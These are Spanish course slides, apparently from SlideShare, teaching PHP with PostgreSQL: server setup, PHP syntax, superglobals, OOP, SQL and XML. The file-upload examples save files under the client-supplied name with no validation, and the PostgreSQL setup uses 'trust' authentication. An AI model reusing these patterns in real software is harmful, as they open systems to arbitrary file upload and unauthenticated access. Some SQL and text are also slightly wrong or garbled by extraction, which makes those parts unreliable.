SlideShare ist ein Scribd-Unternehmen logo
1 von 101
Downloaden Sie, um offline zu lesen
PHP con PostgreSQL

 03/12/2007 al 07/12/2007
Presentación del Curso
Descripción:

      • Tema: PHP con conexión a BD Postgres


      • Horario: Lunes a Viernes de 15:00 a 18:30 y 19:30 a 22:00


      • Instructor: Jorge Arévalo Bórquez – jaareval@uc.cl




    PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Presentación del Curso
Presentación del Curso
Evaluación:
     • 2 pruebas teóricas
          • Duración: 20 a 30 minutos.
          • Días:      Miércoles y Jueves.
          • Hora:      15:00
     Su promedio valdrá el 50% de la nota final del curso.

     • 1 prueba práctica
          • Duración: 3 horas.
          • Día:       Viernes
          • Hora:      18:00
     Valdrá un 50% de la nota final del curso.




   PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Presentación del Curso
Introducción
¿Qué es PHP?

    PHP es un lenguaje de programación usado normalmente para la
    creación de páginas web dinámicas. PHP es un acrónimo recursivo
    que significa quot;PHP Hypertext Pre-processorquot; (inicialmente PHP
    Tools, o, Personal Home Page Tools), y se trata de un lenguaje
    interpretado. Últimamente también puede ser utilizado para la
    creación de otro tipo de programas incluyendo aplicaciones con
    interfaz gráfica usando las librerías Qt o GTK+.




      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
Introducción
¿Qué es PostgreSQL?

    PostgreSQL es un servidor de base de datos objeto relacional
    libre, liberado bajo la licencia BSD. Como muchos otros proyectos
    open source, el desarrollo de PostgreSQL no es manejado por una
    sola compañía sino que es dirigido por una comunidad de
    desarrolladores y organizaciones comerciales las cuales trabajan
    en su desarrollo, dicha comunidad es denominada el PGDG
    (PostgreSQL Global Development Group).




      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
Introducción
Requerimientos:

    • Un Servidor Web, por ejemplo Apache (http://httpd.apache.org)

    • Un intérprete PHP (http://www.php.net)

    • Un Servidor de BD Postgres (http://www.postgresql.org,
    http://www.postgresql.cl)




      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
Introducción
Instalación de Apache y PHP:
     Inicialmente usaremos la instalación a través de RPMs de Apache,
     incluyendo el módulo PHP.

     Más tarde compilaremos los fuentes de modo de optimizar la
     ejecución.

     Si no está instalada la interfaz gráfica de paquetes.

     ~ sudo yum install httpd httpd-devel httpd-suexec
     ~ sudo yum install php

     Probar en un navegador con la dirección http://localhost


       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
Introducción
Instalación de PostgreSQL:

     Inicialmente usaremos la instalación a través de RPMs de
     postgresql, incluyendo el módulo para que PHP se pueda
     comunicar con PostgreSQL.

     Más tarde compilaremos los fuentes de modo de optimizar la
     ejecución.

     Si no está instalada la interfaz gráfica de paquetes.

     ~ sudo yum -y install postgresql postgresql-server php-pgsql




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
Introducción
Configuración Básica de Apache:

     Los ficheros de configuración están en : /etc/httpd
     Los ficheros de log en : /var/log/httpd
     Los ficheros de módulos en : /usr/lib/httpd/modules

     ~ sudo chkconfig httpd on

     El archivo de configuración principal de Apache es httpd.conf

     ServerTokens Prod
     # Lo queremos a Prod, para impeder que el resto de la gente sepa
     que versión de apache estamos utilizando



       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
Introducción
Configuración Básica de Apache:

     Después de los <IfModule *>

     Listen 192.168.1.100:80
     Listen 192.168.1.101:81
     # Ponemos Apache a escuchar por la IP en la que vamos a servir
     el contenido

     Después de la lista de módulos

     ServerAdmin miemail@miservidordecorreo.com




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
Introducción
Configuración Básica de Apache:

     DirectoryIndex index.html index.php index.htm
     # El órden de búsqueda de documentos de apache Primero
     buscará el index.html, luego el index.php y luego el index.htm

     ServerSignature OFF
     # Para evitar mostrar la versión de apache en los ficheros de Error




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
Introducción
Configuración Básica de Apache:

     NameVirtualHost 192.168.1.101:80
     <VirtualHost 192.168.1.101:80>
     ServerName cursophp.org
     ServerAlias *.cursophp.org
     DocumentRoot /usr/local/cursophp
     ErrorLog logs/cursophp.error.log
     CustomLog logs/cursophp.access.log combined
     ServerAdmin webmaster@cursophp.org
     </VirtualHost>




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
Introducción
Configuración Básica de PostgresSQL:

    Crear el primer usuario y base de datos:

    su – postgres
    psql template1

    psql# create user web_user;
    psql# create database web_database owner web_user;
    psql# q




      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
Introducción
Configuración Básica de PostgresSQL:

    Editar el archivo /var/lib/pgsql/data/pg_hba.conf

    local all all trust

    Reiniciar el servidor

    /sbin/service postgresql restart

    Las base de datos se encuentran en:

    psql -U web_user web_database



       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción
Introducción a PHP
¡Hola Mundo!
    Crear el archivo /usr/local/cursophp/holamundo.php con el
    siguiente contenido:

    <html>
              <head>
                        <title>Ejemplo</title>
              </head>
              <body>
                        <h3>Mi primer ejemplo php</h3>
                        <?php echo quot;hola mundoquot;; ?>
                        <hr>
              </body>
    </html>

          PHP con Postgres – Linux Center – Clase 1 – Introducción a PHP
Introducción a PHP
Tags Delimitadores de Código :
     El código PHP debe ir dentro de tags php, los cuales pueden ser
     cualquiera de los siguientes:

     • <?           ?>

     • <?php        ?>

     • <script language=“php”></script>

     • <%           %>




     PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
Introducción a PHP
Variables:
     PHP es un lenguaje débilmente tipado: el intértprete decidirá el tipo
     de la variable según su contenido.

     Los principales tipos de datos que soporta son:

          • Enteros
          • Punto Flotante
          • Cadenas
          • Lógicos
          • Vectores
          • Objetos




     PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
Introducción a PHP
Variables:
     Los nombres de las variables son Case Sensitive, un signo $
     delante del nombre advierte que es una variable (su uso es
     obligatorio).

     Pueden asignarse por valor y por refencia.
     Por valor:      $a=$b;
     Por referencia: $a=&$b;

     Ya que el signo peso indica el uso de la variable que tiene como
     nombre el texto que le sigue, podemos tener “nombres de variables
     variables”. Ejemplo :
     $var=“mivariable”;
     $$var es equivalente a $mivariable

     PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
Introducción a PHP
Strings:
     Los Strings en php se concatenan usando el operador . y pueden
     especificarse usando comillas simples o dobles como
     delimitadores.

     Las comillas simples (‘’) hacen un uso literal de los caracteres que
     incluya.

     Las comillas dobles: reemplazarán las variables que aparezcan por
     sus valores, y los caracteres de escape estilo C (n, t, etc.)

     Para representar comillas dobles uso el carácter de escape ”




     PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
Introducción a PHP
Vectores:
     En php existen 2 clases de vectores:
         • Escalares: cada posición es identificada por un número.
             $a[0]=“Hola”;
             $a[1]=“Mundo”;
             $a[]=“!”;

             $b=array(“Hola”, “Mundo”, “!”);
         • Asociativos (Hash): cada elemento es identificado por una
         cadena
             $c[“nombre”]=“Silvia”;
             $c[“edad”]=21;

               $d=array(“nombre”=>”Silvia”, “edad”=>21);

    PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
Introducción a PHP
Sentencias de control:
     Falta completar




     PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
Introducción a PHP
Funciones:
    Para definir una función, basta con escribir la palabra reservada
    function seguida del nombre de la función y a continuación la lista
    de parámetros entre paréntesis. El cuerpo de la función se escribe,
    a continuación, entre llaves.

    Function miFunction($arg1, $arg2, … , $argN){
             //Cuerpo de la función
             return $valorDeRetorno;
    }




    PHP con Postgres – Linux Center – Jorge Arévalo – Clase 1 – Introducción a PHP
Introducción a PHP
Variables AutoGlobales:

     Desde la versión 4.1.0 de PHP existen un conjunto de vectores que
     contienen variables de las transacciones HTTP, el servidor y el
     usuario.

     Estas son automáticamente accesibles desde cualquier script y
     desde cualquier parte de él.




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
Introducción a PHP
Variables AutoGlobales:
     Estos vectores asociativos son:
     $GLOBALS         Contiene una referencia a cada variable accesible
     desde el script.
     $_SERVER         Contiene información del servidor.
     $_GET            Variables pasadas via HTTP GET.
     $_POST           Variables pasadas al script vía HTTP POST.
     $_COOKIE         Variables pasadas al script vía cookies HTTP.
     $_FILES          Variables que controlan la subida de ficheros
     mediante HTTP.
     $_ENV            Variables de entorno.
     $_REQUEST        Une el contenido de $_GET, $_POST y $_COOKIE.
     $_SESSION        Variables registradas en la sesión actual.



       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
Introducción a PHP
$_SERVER:
    'PHP_SELF‘

        El nombre de archivo del script ejecutándose actualmente, relativo
        a la raíz de documentos. Por ejemplo, $_SERVER['PHP_SELF']
        en un script en la dirección
        http://cursophp.org/test_php/prueba.php sería
        /test_php/prueba.php

    'SERVER_NAME'
        El nombre del servidor anfitrión bajo el que está siendo ejecutado
        el script actual. Si el script está corriendo en un host virtual, éste
        será el valor definido para tal host virtual.



      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
Introducción a PHP
$_SERVER:
    'REQUEST_METHOD'
        Cuál método de petición fue usado para acceder a la página; i.e.
        'GET', 'HEAD', 'POST‘.

        'QUERY_STRING'
           La cadena de consulta, si existe, mediante la cual se accedió
           a la página

        'DOCUMENT_ROOT'
        El directorio raíz de documentos bajo el que está siendo ejecutado
        el script actual, tal y como se define en el archivo de configuración
        del servidor.



      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
Introducción a PHP
$_SERVER:
    'HTTP_USER_AGENT'
        Contenidos de la cabecera User_Agent: de la petición actual, si
        existe. Esta es una cadena que denota el agente de usuario que
        está accediendo a la página. Un ejemplo típico es: Mozilla/4.5 [en]
        (X11; U; Linux 2.2.9 i586)

        'REMOTE_ADDR'
            La dirección IP desde donde el usuario está observado la
            página actual.

              'SCRIPT_FILENAME'
                  La ruta absoluta del nombre del script siendo ejecutado
                  actualmente


      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
Introducción a PHP
$_COOKIE:
    Es un vector asociativo que contiene cada una de las cookies que el
    usuario tenga registradas y hayan sido enviadas por el servidor en la
    cabecera http.

    Se crean con la función:
    setcookie(Nombre, Valor, Tiempo_Vida, Path, Dominio, Seguro);

    Si se crea una cookie con el nombre, path y dominio de otra, esta se
    reemplaza por la nueva. (En algunos casos, basta con que coincida el
    nombre.




      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - AutoGlobales
Introducción a PHP
$_SESSION:

    Se comienza una sesión (en caso de que aún no haya comenzado)
    con la función session_start() ;

    Para borrar una variable ya asignada a sesión usamos:
    unset($_SESSION[“nombre_dato”]);

    Para terminar una sesión usamos: session_destroy();




     PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
Introducción a PHP
$_FILES:
    Cuando en un formulario HTML se envia un archivo, este copiado a
    una carpeta temporal en el servidor y envia la información en las
    cabeceras. PHP puede recuperar esta información mediante el arreglo
    asociativo $_FILES.
    Para guardarlo hacemos lo siguiente:
    <? $destino = 'uploaded' ;
    move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino . '/' .
    $_FILES [ 'file' ][ 'name' ]); ?>

    Donde $_FILES['file']['tmp_name'] identificara el archivo temporal
    subido al servidor, $destino, la carpeta en la que lo queremos mover y
    $_FILES['file']['name'] el nombre original del archivo.



      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
Introducción a PHP
$_FILES:
    Además también podemos conocer otros parámetros del fichero
    subido como por ejemplo el tamaño, vamos a ver un ejemplo:
    <? $destino = 'uploaded' ;
    $tamano = $_FILES [ 'file' ][ 'size' ];
    if( $tamano < 500 ){
                move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino
    . '/' . $_FILES [ 'file' ][ 'name' ]);
    }
    else
                echo quot;El tamaño es superior al permitidoquot; ;
    ?>
    Tambien podemos saber el tipo de archivo subido con la siguiente
    variable: $_FILES['file']['type'];


      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
Introducción a PHP
$_FILES:
    Además también podemos conocer otros parámetros del fichero
    subido como por ejemplo el tamaño, vamos a ver un ejemplo:
    <? $destino = 'uploaded' ;
    $tamano = $_FILES [ 'file' ][ 'size' ];
    if( $tamano < 500 ){
                move_uploaded_file ( $_FILES [ 'file' ][ 'tmp_name' ], $destino
    . '/' . $_FILES [ 'file' ][ 'name' ]);
    }
    else
                echo quot;El tamaño es superior al permitidoquot; ;
    ?>
    Tambien podemos saber el tipo de archivo subido con la siguiente
    variable: $_FILES['file']['type'];


      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – AutoGlobales
Orientación a Objetos
Introducción:

     La Programación Orientada a Objetos (POO u OOP según sus
     siglas en inglés) es un paradigma de programación que usa objetos y
     sus interacciones para diseñar aplicaciones y programas de
     computadora. Está basado en varias técnicas, incluyendo herencia,
     modularidad, polimorfismo, y encapsulamiento. Su uso se popularizó a
     principios de la década de 1990. Actualmente varios lenguajes de
     programación soportan la orientación a objetos.




          PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
Orientación a Objetos
Objetos:

     Los objetos son entidades que combinan estado, comportamiento e
     identidad. El estado está compuesto de datos, y el comportamiento por
     procedimientos o métodos. La identidad es una propiedad de un objeto
     que lo diferencia del resto. La programación orientada a objetos
     expresa un programa como un conjunto de estos objetos, que
     colaboran entre ellos para realizar tareas. Esto permite hacer los
     programas y módulos más fáciles de escribir, mantener y reutilizar.




           PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
Orientación a Objetos
Clases:
     Corresponde a la definición de las propiedades (atributos) y
     comportamiento (métodos) de un tipo genérico de objetos. Al proceso
     de crear un objeto desde una clase se le conoce como instanciación.

     Debemos diferenciar, varios tipos de clases. En una primera instancia,
     veremos las clases concretas y las clases abstractas.

     Las primeras son clases que tienen como objetivo, ser instanciadas y
     por tanto, se convierten en un “tipo de datos especial”

     Las clases abstractas por el contrario, no se espera (y en muchos
     casos no se puede) que se instancien. Su objetivo es servir como base
     a nuevas clases más específicas.


          PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
Orientación a Objetos
Características: Abstracción

     Cada objeto en el sistema sirve como modelo de un quot;agentequot; abstracto
     que puede realizar trabajo, informar y cambiar su estado, y
     quot;comunicarsequot; con otros objetos en el sistema sin revelar cómo se
     implementan estas características. Los procesos, las funciones o los
     métodos pueden también ser abstraídos y cuando lo están, una
     variedad de técnicas son requeridas para ampliar una abstracción.




          PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
Orientación a Objetos
Características: Encapsulamiento

     Significa reunir a todos los elementos que pueden considerarse
     pertenecientes a una misma entidad, al mismo nivel de abstracción.

     Esto permite aumentar la cohesión de los componentes del sistema.

     Algunos autores confunden este concepto con el principio de
     ocultación, principalmente porque se suelen emplear conjuntamente.




          PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
Orientación a Objetos
Características: Ocultamiento
     Cada objeto está aislado del exterior, es un módulo natural, y cada tipo
     de objeto expone una interfaz a otros objetos que especifica cómo
     pueden interactuar con los objetos de la clase. El aislamiento protege a
     las propiedades de un objeto contra su modificación por quien no
     tenga derecho a acceder a ellas, solamente los propios métodos
     internos del objeto pueden acceder a su estado.

     Esto asegura que otros objetos no pueden cambiar el estado interno
     de un objeto de maneras inesperadas, eliminando efectos secundarios
     e interacciones inesperadas. Algunos lenguajes relajan esto,
     permitiendo un acceso directo a los datos internos del objeto de una
     manera controlada y limitando el grado de abstracción. La aplicación
     entera se reduce a un agregado o rompecabezas de objetos.

          PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
Orientación a Objetos
Características: Polimorfismo
     Comportamientos diferentes, asociados a objetos distintos, pueden
     compartir el mismo nombre, al llamarlos por ese nombre se utilizará el
     comportamiento correspondiente al objeto que se esté usando. O
     dicho de otro modo, las referencias y las colecciones de objetos
     pueden contener objetos de diferentes tipos, y la invocación de un
     comportamiento en una referencia producirá el comportamiento
     correcto para el tipo real del objeto referenciado.

     Cuando esto ocurre en quot;tiempo de ejecuciónquot;, esta última
     característica se llama asignación tardía o asignación dinámica.
     Algunos lenguajes proporcionan medios más estáticos (en quot;tiempo de
     compilaciónquot;) de polimorfismo, tales como las plantillas y la sobrecarga
     de operadores de C++.

          PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
Orientación a Objetos
Características: Herencia
     Las clases no están aisladas, sino que se relacionan entre sí,
     formando una jerarquía de clasificación. Los objetos heredan las
     propiedades y el comportamiento de todas las clases a las que
     pertenecen.

     La herencia organiza y facilita el polimorfismo y el encapsulamiento
     permitiendo a los objetos ser definidos y creados como tipos
     especializados de objetos preexistentes.




          PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 - OOP
OOP en PHP
Creación de Clases:
     Se debe seguir la siguiente estructura para crear una clase:

     <? class NombreDeClase{
              var $atributo1, $atributo2, …, $atributoN;
              function nombreDeClase($arg1, …, $argN){
                        //Constructor de la clase
              }
              function metodoNumero1($arg1, …, $argN){
              }
              …
              function metodoNumero2($arg1, …, $argN){
              }
     } ?>

      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
OOP en PHP
Instanciación:
     Para crear un objeto desde una clase, lo hacemos mediante el
     operador new:

              $miObjeto=new NombreDeClase(arg1, …, argN);

     Para acceder a sus métodos, usamos el operador -> :
             $retorno=$miObjeto->metodoNumero1(arg1, …, argN);




      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
OOP en PHP
Herencia:
     Para diseñar una clase que herede de (o extienda a) otra clase
     debemos usar la palabra clave extends de la siguiente manera:

     class ClaseEspecifica extends ClasePadre{
              var $nuevosAtributos;
              function ClaseEspecifica($arg1, …, $argN){
                       //constructor
              }
              function nuevoMetodo($arg1, …, $argN){
              }
     }



      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
OOP en PHP
Ejercicio:

     1. Diseñar una clase que represente a un contacto dentro de nuestra
        agenda.

     2. Diseñar una clase que represente a la agenda.

        Lo anterior permitiendo que se guarden los datos en cookies como
        la última vez, pero delegando estas responsabilidades a quien
        corresponda.




      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 2 – OOP en PHP4
Operadores de PHP
Aritméticos:
     $a + $b             Suma
     $a - $b             Resta
     $a * $b             Multiplicación
     $a / $b             División
     $a % $b             Módulo (Resto de división entera)
     $a++                Incremento (Retorna después incrementa)
     ++$a                Incremento (Incrementa después retorna)
     $a--                Decremento (Retorna después decrementa)
     --$a                Decremento (Decrementa después retorna)
     $a+=$b              Incrementa $a en $b unidades
     $a-=$b              Decrementa $a en $b unidades



       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores
Operadores de PHP
Comparación:
    $a == $b            Igual
    $a === $b           Idéntico
    $a != $b            Distinto
    $a <> $b            Distinto
    $a !== $b           No idéntico
    $a < $b             Menor que
    $a > $b             Mayor que
    $a <= $b            Menor o igual que
    $a >= $b            Mayor o igual que




      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores
Operadores de PHP
Lógicos:
    $a and $b           AND
    $a or $b            OR
    $a xor $b           XOR
    ! $a                NOT
    $a && $b            AND
    $a || $b            OR
    $a?$b:$c            Tiene como valor $b siempre que $a sea verdadero
                        y $c en caso contrario.




      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - Operadores
PostgreSQL
Introducción:
     • Es un gestor de base de datos relacional

     • Es de codigo abierto bajo licencia BSD

     • Es multiplataforma

     • Tiene un alto nivel de seguridad

     • Existe una amplia comunidad que nos ayuda con el soporte

     • Ofrece Integridad referencial

     • Maneja las concurrencias


       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – PostgreSQL
PostgreSQL - Sentencias SQL
Creación de tablas:

                 create table contactos (
                 id INT,
                 nombre VARCHAR(20),
                 edad INT,
                 correo VARCHAR(20),
                 primary key (id_persona)
                 );




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
PostgreSQL - Sentencias SQL
Modificación de tablas:

                 alter table contactos
                 add column telefono VARCHAR(10);

                 alter table contactos
                 drop column telefono;




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
PostgreSQL - Sentencias SQL
Manejo registros:

                 insert into contactos
                 (id,nombre,edad,correo) values
                 (1,’Jorge’,25,’jaareval@uc.cl’);

                 update contactos set
                 nombre=‘Jorge Arevalo’
                 where id=1;

                 delete from contactos where id=1;




       PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
PostgreSQL - Sentencias SQL
Crear Consultas:

                select * from contactos
                where nombre like ‘J%’;

                Create view vista_jotas as
                select * from contactos
                where nombre like ‘J%’;




      PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 – Sentencias SQL
PostgreSQL desde PHP
Configuración:

         Debemos asegurarnos que el archivo php.ini
         (habitualmente en /usr/local/lib ) contenga la linea:

         extension=pgsql.so en linux y

         extension=pgsql.dll en windows




        PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PostgreSQL
PostgreSQL desde PHP
Ejemplo:
<?php
    $conexion_bd = pg_connect(quot;host=localhost dbname=web_database user=web_userquot;)
    or die('No pudo conectarse: ' . pg_last_error());
    $consulta = 'SELECT * FROM autores';
    $resultado = pg_query($consulta) or die('Consulta fallida: ' . pg_last_error());
    echo quot;<table>nquot;;
    while ($linea = pg_fetch_array($resultado, null, PGSQL_ASSOC)) {
          echo quot;t<tr>nquot;;
          foreach ($linea as $valor_col) {
                     echo quot;tt<td>$valor_col</td>nquot;;
          }
          echo quot;t</tr>nquot;;
    }
    echo quot;</table>nquot;;
    pg_free_result($resultado);
    pg_close($conexion_bd);
?>
             PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
PostgreSQL desde PHP
Ejemplo (Análisis):


       $conexion_bd = pg_connect(quot;host=localhost
       dbname=web_database user=web_userquot;)
       or die('No pudo conectarse: ' . pg_last_error());

       pg_connect retorna un apuntador a la conexión, que será
       guardado en $conexion_bd recibe un único parámetro que
       corresponde a la cadena de conexión.




          PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
PostgreSQL desde PHP
Ejemplo (Análisis – pg_connect):


      En esta cadena pueden definirse los siguientes parámetros:

          • host         La máquina donde escucha el servidor
          PostgreSQL
          • port         Puerto de conexión.
          • tty TTY a utilizar. Interesante a la hora de depurar.
          • options      Opciones adicionales.
          • dbname       Nombre de la base de datos a la que se quiere
          conectar.
          • user         Nombre del usuario PostgreSQL con el que se
          realizará la conexión.
          • pass         Contraseña para la conexión.


         PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
PostgreSQL desde PHP
Ejemplo (Análisis):


       $conexion_bd = pg_connect(quot;host=localhost
       dbname=web_database user=web_userquot;)
       or die('No pudo conectarse: ' . pg_last_error());

       or die() realiza un echo del string que recibe como parametro
       en caso de que la llamada a alguna función resulte en un
       error.




          PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
PostgreSQL desde PHP
Ejemplo (Análisis):
          $consulta = 'SELECT * FROM autores';
          $resultado = pg_query($consulta)
          or die('Consulta fallida: ' . pg_last_error());

          $consulta corresponde al string que representa la
          consulta.
          pg_query($consulta) retorna un apuntador a un
          resultado de consulta (no me ofrece forma de
          manejarlo).

          La función pg_query() debe tener alguna de las 2 formas
          siguientes:
          • $result=pg_query($conexion,$consulta);
          • $result=pg_query($consulta);

          PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
PostgreSQL desde PHP
Ejemplo (Análisis):
  $linea = pg_fetch_array($resultado, null, PGSQL_ASSOC)
  En $linea almacenará la siguiente fila del resultado en forma de array
  asociativo usando el nombre del campo como clave.

  Los parámetros que recibe pg_fetch_array() son, en orden de izquierda
  a derecha:
  • $resultado apuntador al conjunto de resultados
  • $row       entero que indica la fila dentro del conjunto de resultados
  que se desea recuperar, null en caso que queramos recuperar la
  siguiente a la última que se recuperó.
  • $result_type entero que indica de que manera debe retornar la fila:
  PGSQL_ASSOC (Arreglo asociativo) PGSL_NUM (Arreglo escalar)
  PGSQL_BOTH (Ambos)

  Si la fila que se pretende recuperar no existe retorna false
           PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
PostgreSQL desde PHP
Ejemplo (Análisis – manejar resultados):

  Existen otras funciones que nos permiten recuperar los resultados:

  • pg_fetch_all Devuelve un vector que contiene todos los registros
  devueltos por la consulta.

  • pg_fetch_array Devuelve la siguiente fila del resultado en forma de
  vector. El primer elemento será la primera columna, el segundo la
  segunda, etc. Devuelve falso si no encuentra más registros.

  • pg_fetch_assoc Devuelve la siguiente fila del resultado en forma de
  vector asociativo. Como claves del vector usa los nombres de los
  campos. Devuelve falso si no encuentra más registros.



           PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
PostgreSQL desde PHP
Ejemplo (Análisis – manejar resultados):


  • pg_fetch_object Devuelve una fila del resultado en forma de objeto.
  Por cada columna de la fila existirá un atributo del mismo nombre.

  • pg_fetch_result Devuelve un valor de un resultado. Se le especifica
  fila y columna.

  • pg_fetch_row Devuelve una fila del resultado en forma de vector. El
  primer elemento será la primera columna, el segundo la segunda, etc.
  Devuelve falso si no encuentra más registros.




           PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
PostgreSQL desde PHP
Ejemplo (Análisis – manejar resultados):



        Tenemos también la función pg_num_rows($result)
        que devuelve la cantidad de filas en el resultado
        apuntado por $result

        Y también la función pg_affected_rows($result) que
        devuelve la cantidad de filas afectadas por una
        sentencia sql de update.




          PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
PostgreSQL desde PHP
Ejemplo (Análisis):


  Será necesario liberar la memoria que estaba usando el conjunto de
  resultados, para ello usamos la función:

      pg_free_result($resultado);

      Lo mismo habrá que hacer con la base de datos.

      pg_close($conexion_bd);




           PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
PostgreSQL desde PHP
Ejercicio:


  Modificar nuestra agenda, de modo que se guarden los datos en la BD.




             PHP con Postgres – Linux Center – Jorge Arévalo – Clase 3 - PGSQL
XML
Introducción:

    XML, sigla en inglés de eXtensible Markup Language, es un
    metalenguaje extensible de etiquetas desarrollado por el World
    Wide Web Consortium (W3C).

    Es una simplificación y adaptación del SGML y permite definir la
    gramática de lenguajes específicos (de la misma manera que
    HTML es a su vez un lenguaje definido por SGML).

    Por lo tanto XML no es realmente un lenguaje en particular, sino
    una manera de definir lenguajes para diferentes necesidades.
    Algunos de estos lenguajes que usan XML para su definición son
    XHTML, SVG, MathML.



           PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
XML
¿Para qué sirve?:

    XML no ha nacido sólo para su aplicación en Internet, sino que se
    propone como un estándar para el intercambio de información
    estructurada entre diferentes plataformas.

    Se puede usar en bases de datos, editores de texto, hojas de
    cálculo y casi cualquier cosa imaginable.




           PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
XML
Ventajas:
    • Es extensible, lo que quiere decir que una vez diseñado un
    lenguaje y puesto en producción, igual es posible extenderlo con
    la adición de nuevas etiquetas de manera de que los antiguos
    consumidores de la vieja versión todavía puedan entender el
    nuevo formato.

    • El analizador es un componente estándar, no es necesario crear
    un analizador específico para cada lenguaje. Esto posibilita el
    empleo de uno de los tantos disponibles. De esta manera se
    evitan bugs y se acelera el desarrollo de la aplicación.

    • Si un tercero decide usar un documento creado en XML, es
    sencillo entender su estructura y procesarlo. Mejora la
    compatibilidad entre aplicaciones.

            PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
XML
Ejemplo de XML:
  <?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot; ?>
  <!DOCTYPE Edit_Mensaje SYSTEM quot;Lista_datos_mensaje.dtdquot; [<!ELEMENT Edit_Mensaje (Mensaje)*>]>
  <Edit_Mensaje>
               <Mensaje>
                            <Remitente>
                                          <Nombre>Nombre del remitente</Nombre>
                            <Mail> Correo del remitente </Mail>
                            </Remitente>
                            <Destinatario>
                                          <Nombre>Nombre del destinatario</Nombre>
                                          <Mail>Correo del destinatario</Mail>
                            </Destinatario>
                            <Texto>
                                          <Parrafo> Este es mi documento con una estructura muy sencilla no
                                                      contiene atributos ni entidades....
                                          </Parrafo>
                            </Texto>
               </Mensaje>
  </Edit_Mensaje>




                PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 - XML
XML
Ejemplo de DTD:
  <?xml version=quot;1.0quot; encoding=quot;ISO-8859-1quot; ?>
  <!-- Este es el DTD de Edit_Mensaje -->
  <!ELEMENT Mensaje (Remitente, Destinatario, Asunto, Texto)*>
            <!ELEMENT Remitente (Nombre, Mail)>
                    <!ELEMENT Nombre (#PCDATA)>
                    <!ELEMENT Mail (#PCDATA)>
            <!ELEMENT Destinatario (Nombre, Mail)>
                    <!ELEMENT Nombre (#PCDATA)>
                    <!ELEMENT Mail (#PCDATA)>
            <!ELEMENT Asunto (#PCDATA)>
            <!ELEMENT Texto (Parrafo)>
                    <!ELEMENT Parrafo (#PCDATA)>



        PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – XML : DTDs
XML
DTD:
